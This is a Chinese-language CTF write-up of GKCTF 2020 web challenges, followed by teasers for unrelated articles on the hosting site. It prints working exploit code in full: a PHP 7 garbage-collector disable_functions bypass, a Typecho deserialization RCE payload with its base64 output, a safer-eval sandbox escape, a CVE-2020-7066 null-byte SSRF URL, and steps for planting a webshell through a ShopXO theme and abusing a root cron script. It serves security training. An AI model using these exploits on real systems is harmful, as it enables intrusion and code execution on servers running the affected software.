CTF-NSSCTF题单[GKCTF2020]

news2024/12/23 20:11:40

[GKCTF 2020]CheckIN

这道题目考察:php7-gc-bypass漏洞

打开这道题目,开始以为考察反序列化,但实际并不是,这里直接用$_REQUEST传入了参数便可以利用了。这里出现了一个eval()函数,猜测考察命令执行

看到base64_decode,说明我们的代码需要加密一下,尝试着直接传入c3lzdGVtKCdscycpOw==(即为base64加密后的system('ls');)

没有什么反应,试试别的命令phpinfo(); 

?Ginkgo=ZXZhbCgkX1BPU1RbJ2FiYyddKTs=

出现反应,发现这个点是可以进行利用的,应该是php过滤了危险函数,在phpinfo中的disable_functions可以看到!

尝试着用一句话来突破!
构造url: 源码:?Ginkgo=eval($_POST['abc']);

?Ginkgo=ZXZhbCgkX1BPU1RbJ2FiYyddKTs=

 蚁剑进行连接

 找flag的时候出现了乱码

猜测就是运行它来读flag!

php版本:7.3.24

php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3

exp:exploits/php7-gc-bypass/exploit.php at master · mm0r1/exploits (github.com)

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    class ryat {
        var $ryat;
        var $chtg;
        
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);

    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();

    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();
}

修改一下exp的执行目标(“/readflag”),通过蚁剑上传至tmp目录下(因为这目录的权限较高)

上传成功后在页面里包含文件即可获得flag

?Ginkgo=include(’/tmp/test.php’);
Base64后?Ginkgo=aW5jbHVkZSgnL3RtcC90ZXN0LnBocCcpOw==

[GKCTF 2020]cve版签到

考察:cve-2020-7066漏洞

cve-2020-7066: 在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。

两者结合利用零字符截断使get_headers()请求到本地127.0.0.1

payload:

?url=http://127.0.0.1%00www.ctfhub.com

提示Host必须以123结尾

payload:

?url=http://127.0.0.123%00www.ctfhub.com

[GKCTF 2020]ez三剑客-easynode 

考察:safer-eval漏洞(沙盒逃逸)

查看源码

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

const saferEval = require('safer-eval')nodejs的题在ha1cyon出现了几次,一般涉及到nodejs的题就是沙箱逃逸,而导致能够沙箱逃逸的,通常都是库的问题,题目有特地强调了这个safer-eval的库,直接去githubissues----直接搜索safer-eval

看这段代码

if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }

访问/eval的路由,会设置一个delay,和你传入的get参数的delay进行比较,取较大的那个,然后setTimeout是延时函数,delay秒后就会执行第一个参数,即next(),否则就会send出timeout。

浏览器内部使用32位带符号的整数来储存推迟执行的时间这意味着setTimeout最多延迟2147483647秒。只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由

绕过paylaod:

/eval/?delay=23333333333333333333333

所以利用溢出就可以成功绕过timeout。
绕过之后就是这个:

let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));

post传入参数e,可以saferEval,安全的执行代码,这里想要成功执行需要进行逃逸。
题目也给出了saferEval的版本和这个:

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

直接利用即可:

setInterval.constructor('return process')().mainModule.require('child_process').execSync('cat /flag').toString();

 

[GKCTF 2020]老八小超市儿

考察:shopxo漏洞利用

先安装shopxo,后面显示shopxo的后台登录密码

后台管理地址:/admin.php?s=/admin/logininfo.html
默认账号密码登录即可:admin/shopxo 

成功登录后台

在后台找到应用中心-应用商店-主题,然后下载默认主题。

下载下来的主题是一个安装包,然后把你的shell(php马子)放到压缩包的default\_static_ 目录下,如下图

 回到网页上,找到网站管理-主题管理-主题安装(然后选择你加入shell后的主题压缩包进行上传)

访问成功,用蚁剑进行连接 

 连接成功,寻找flag

/flag是假的,但是有线索,提示说真正的flag的在/root 

 

但是/root没有权限访问 

根目录下还发现了个/auto.sh,打开看看 

是个脚本,60秒执行一次,找到这个py脚本

能修改,直接改成os.system("cat /root/flag>/1.txt"),然后等待一分钟左右,在根目录可以找到1.txt

 [GKCTF 2020]ez三剑客-eztypecho

考察:Typecho漏洞

打开题目可以下载源码,然后发现是Typecho,搜索一下漏洞,找到一个反序列化:
Typecho反序列化漏洞导致前台getshell,

Typecho是一个由中国团队开发的开源跨平台博客程序。它基于PHP5构建,并支持多种操作系统(Linux,Unix,BSD,Windows)、 服务器(Apache,Lighttpd,IIS,Nginx)和数据库(Mysql,PostgreSQL,SQLite)。
2017年10月13日,Typecho爆出前台代码执行漏洞

该漏洞主要触发点在install.php文件,在install.php文件的第232行存在unserialize()反序列化函数,这里通过Typecho_Cookie类的get()方法获取的__typecho_config参数没有经过任何过滤,便进行了反序列化操作,那么这里利用这个点就可以进行反序列化攻击。

造成该漏洞的原因主要有两点:
(1)install.php代码逻辑有问题,当 config.inc.php 文件存在时,可绕过判断继续往下执行代码,当网站安装成功之后,如果install.php这个文件没有删除的话,攻击者就可以通过访问install.php继续执行该文件中的操作。
(2)install.php代码中存在unserialize()函数,并且传入反序列化函数的参数可控。

直接使用文章中的exp即可:

<?php

class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct()
    {
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'content' => '1',
            'link' => '1',
            'date' => 1540996608,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'system("cat /flag");';//执行的代码
        $this->_filter[0] = 'assert';
    }
}

$payload = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($payload));

?>

运行得到:

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo2OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NzoiY29udGVudCI7czoxOiIxIjtzOjQ6ImxpbmsiO3M6MToiMSI7czo0OiJkYXRlIjtpOjE1NDA5OTY2MDg7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoyMDoic3lzdGVtKCJjYXQgL2ZsYWciKTsiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czoyMDoic3lzdGVtKCJjYXQgL2ZsYWciKTsiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

我们需要触发则需要传入一个start,而且因为这里:

 

所以我们还要传入referer,获取flag方法如下:

 

但是好像最后也没有获取到flag 

漏洞分析

详细请看这篇博客Typecho v1.1反序列化前台getshell漏洞分析_typecho 前台getshell-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1948693.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

暑期C++ 缺省参数

有任何不懂的问题可以评论区留言&#xff0c;能力范围内都会一一回答 1.缺省参数的概念 缺省参数是是声明或定义参数时为函数的参数指定一个缺省值。在调用该函数值时&#xff0c;如果没有指定实参则采用该形参的缺省值&#xff0c;否则使用指定的实参 看了上面定义后&#…

CogVLMv2环境搭建推理测试

引子 之前写过一篇CogVLM的分享&#xff0c;感兴趣的移步CogVLM/CogAgent环境搭建&推理测试-CSDN博客&#xff0c;前一阵子&#xff0c;CogVLMv2横空出世&#xff0c;支持视频理解功能&#xff0c;OK&#xff0c;那就让我们开始吧。 一、模型介绍 CogVLM2 系列模型开源了…

基于Vision Transformer的mini_ImageNet图片分类实战

【图书推荐】《PyTorch深度学习与计算机视觉实践》-CSDN博客 PyTorch计算机视觉之Vision Transformer 整体结构-CSDN博客 mini_ImageNet数据集简介与下载 mini_ImageNet数据集节选自ImageNet数据集。ImageNet是一个非常有名的大型视觉数据集&#xff0c;它的建立旨在促进视觉…

旗晟机器人仪器仪表识别AI智慧算法

在当今迅猛发展的工业4.0时代&#xff0c;智能制造和自动化运维已然成为工业发展至关重要的核心驱动力。其中智能巡检运维系统扮演着举足轻重的角色。工业场景上不仅要对人员行为监督进行监督&#xff0c;对仪器仪表识别分析更是不可缺少的一个环节。那么我们说说旗晟仪器仪表识…

AI模型大比拼:Claude 3系列 vs GPT-4系列最新模型综合评测

AI模型大比拼&#xff1a;Claude 3系列 vs GPT-4系列最新模型综合评测 引言 人工智能技术的迅猛发展带来了多款强大的语言模型。本文将对六款领先的AI模型进行全面比较&#xff1a;Claude 3.5 Sonnet、Claude 3 Opus、Claude 3 Haiku、GPT-4、GPT-4o和GPT-4o Mini。我们将从性能…

【Gin】精准应用:Gin框架中工厂模式的现代软件开发策略与实施技巧(下)

【Gin】精准应用&#xff1a;Gin框架中工厂模式的现代软件开发策略与实施技巧(下) 大家好 我是寸铁&#x1f44a; 【Gin】精准应用&#xff1a;Gin框架中工厂模式的现代软件开发策略与实施技巧(下)✨ 喜欢的小伙伴可以点点关注 &#x1f49d; 前言 本次文章分为上下两部分&…

智能家居全在手机端进行控制,未来已来!

未来触手可及&#xff1a;智能家居&#xff0c;手机端的全控时代 艾斯视觉的观点是&#xff1a;在不远的将来&#xff0c;家&#xff0c;这个温馨的港湾&#xff0c;将不再只是我们休憩的场所&#xff0c;而是科技与智慧的结晶。想象一下&#xff0c;只需轻触手机屏幕&#xf…

如何实现CPU最大处理效率

如何实现CPU最大处理效率 CPU,或称为中央处理器,是计算机中负责执行指令和处理数据的核心部件。它的工作原理可简单概括为"取指、译码、执行、存储"四个步骤,也称为计算机的指令周期。 取指(Fetch):在取指阶段,CPU从内存中获取下一条要执行的指令,并存放在指…

回顾网络路,心率就过速

笔者上网写作已满16年&#xff0c;其间加盟过国内互联网的知名网站自媒体至少在40至50家之多&#xff0c;但由于有的被已被勒令停刊了&#xff08;如《天涯论坛》&#xff09;&#xff0c;有的则因其改版而只保留了极少数擅于唱颂的写手&#xff08;如《强国论坛》&#xff09;…

【SpringCloud】企业认证、分布式事务,分布式锁方案落地-1

目录 HR企业入驻 HR企业入驻 - 认证流程解析 HR企业入驻 - 查询企业是否存在 HR企业入驻 - 上传企业logo与营业执照 HR企业入驻 - 新企业&#xff08;数据字典与行业tree结构解析&#xff09; 行业tree 行业tree - 创建节点 行业tree - 查询一级分类 行业tree - 查询子分…

计算存储背景与发展

随着云计算、企业级应用以及物联网领域的飞速发展&#xff0c;当前的数据处理需求正以前所未有的规模增长&#xff0c;以满足存储行业不断变化的需求。这种增长导致网络带宽压力增大&#xff0c;并对主机计算资源&#xff08;如内存和CPU&#xff09;造成极大负担&#xff0c;进…

Redis的使用场景——热点数据缓存

热点数据缓存 Redis的使用场景——热点数据的缓存 1.1 什么是缓存 为了把一些经常访问的数据&#xff0c;放入缓存中以减少对数据库的访问效率&#xff0c;从而减少数据库的压力&#xff0c;提高程序的性能。【在内存中存储】 1.2 缓存的原理 查询缓存中是否存在对应的数据如…

05 capture软件创建元器件库(以STM32为例)

05 创建元器件库_以STM32为例 一、新建原理图库文件二、新建器件三、开始创建元器件 一些IC类元件&#xff0c;需要自己创建元器件库。 先看视频&#xff0c;然后自己创建STM32F103C8T6的LQFP48的元器件。 STM32F103C8T6是目前为止&#xff0c;自己用的最多的芯片。 先要有数据…

nodejs安装及环境配置建材商城管理系统App

✌网站介绍&#xff1a;✌10年项目辅导经验、专注于计算机技术领域学生项目实战辅导。 ✌服务范围&#xff1a;Java(SpringBoo/SSM)、Python、PHP、Nodejs、爬虫、数据可视化、小程序、安卓app、大数据等设计与开发。 ✌服务内容&#xff1a;免费功能设计、免费提供开题答辩P…

文件包涵条件竞争(ctfshow82)

Web82 利用 session.upload_progress 包含文件漏洞 <!DOCTYPE html> <html> <body> <form action"https://09558c1b-9569-4abd-bf78-86c4a6cb6608.challenge.ctf.show//" method"POST" enctype"multipart/form-data"> …

C语言的发展过程介绍

引言 C语言&#xff0c;由丹尼斯里奇&#xff08;Dennis Ritchie&#xff09;在20世纪70年代初期于贝尔实验室开发&#xff0c;是计算机科学史上最具影响力的编程语言之一。本文将概述C语言的发展历程&#xff0c;并提供一些代码示例来展示其演变。 起源&#xff1a;UNIX和C语言…

自动化测试--WebDriver API

1. 元素定位方法 通过 ID 定位&#xff1a;如果元素具有唯一的 ID 属性&#xff0c;可以使用 findElement(By.id("elementId")) 方法来定位元素。通过 Name 定位&#xff1a;使用 findElement(By.name("elementName")) 来查找具有指定名称的元素。通过 Cl…

重生之“我打数据结构,真的假的?”--5.堆(无习题)

1.堆的概念与结构 如果有⼀个关键码的集合 &#xff0c;把它的所有元素按完全⼆叉树的顺序存储⽅ 式存储&#xff0c;在⼀个⼀维数组中&#xff0c;并满⾜&#xff1a; &#xff08; 且 &#xff09;&#xff0c; i 0、1、2... &#xff0c;则称为⼩堆(或⼤堆)。将根结点最⼤的…

逻辑处理模块:FPGA复旦微JFM7VX690T36+网络加速器:雄立XC13080-500C

逻辑处理模块通常是指在计算机系统、软件应用或电子设备中负责执行逻辑运算和决策过程的组件。 在不同的领域和技术中&#xff0c;逻辑处理模块可能有不同的实现方式和名称&#xff0c;但它们的核心功能都是基于输入数据进行逻辑判断和处理&#xff0c;并产生相应的输出结果。下…

GO-学习-03-基本数据类型

数据类型&#xff1a;基本数据类型和复合数据类型 基本数据类型&#xff1a;整型、浮点型、布尔型、字符串 复合数据类型&#xff1a;数组、切片、结构体、函数、map、通道&#xff08;channel&#xff09;、接口 整型&#xff1a; package main import "fmt" im…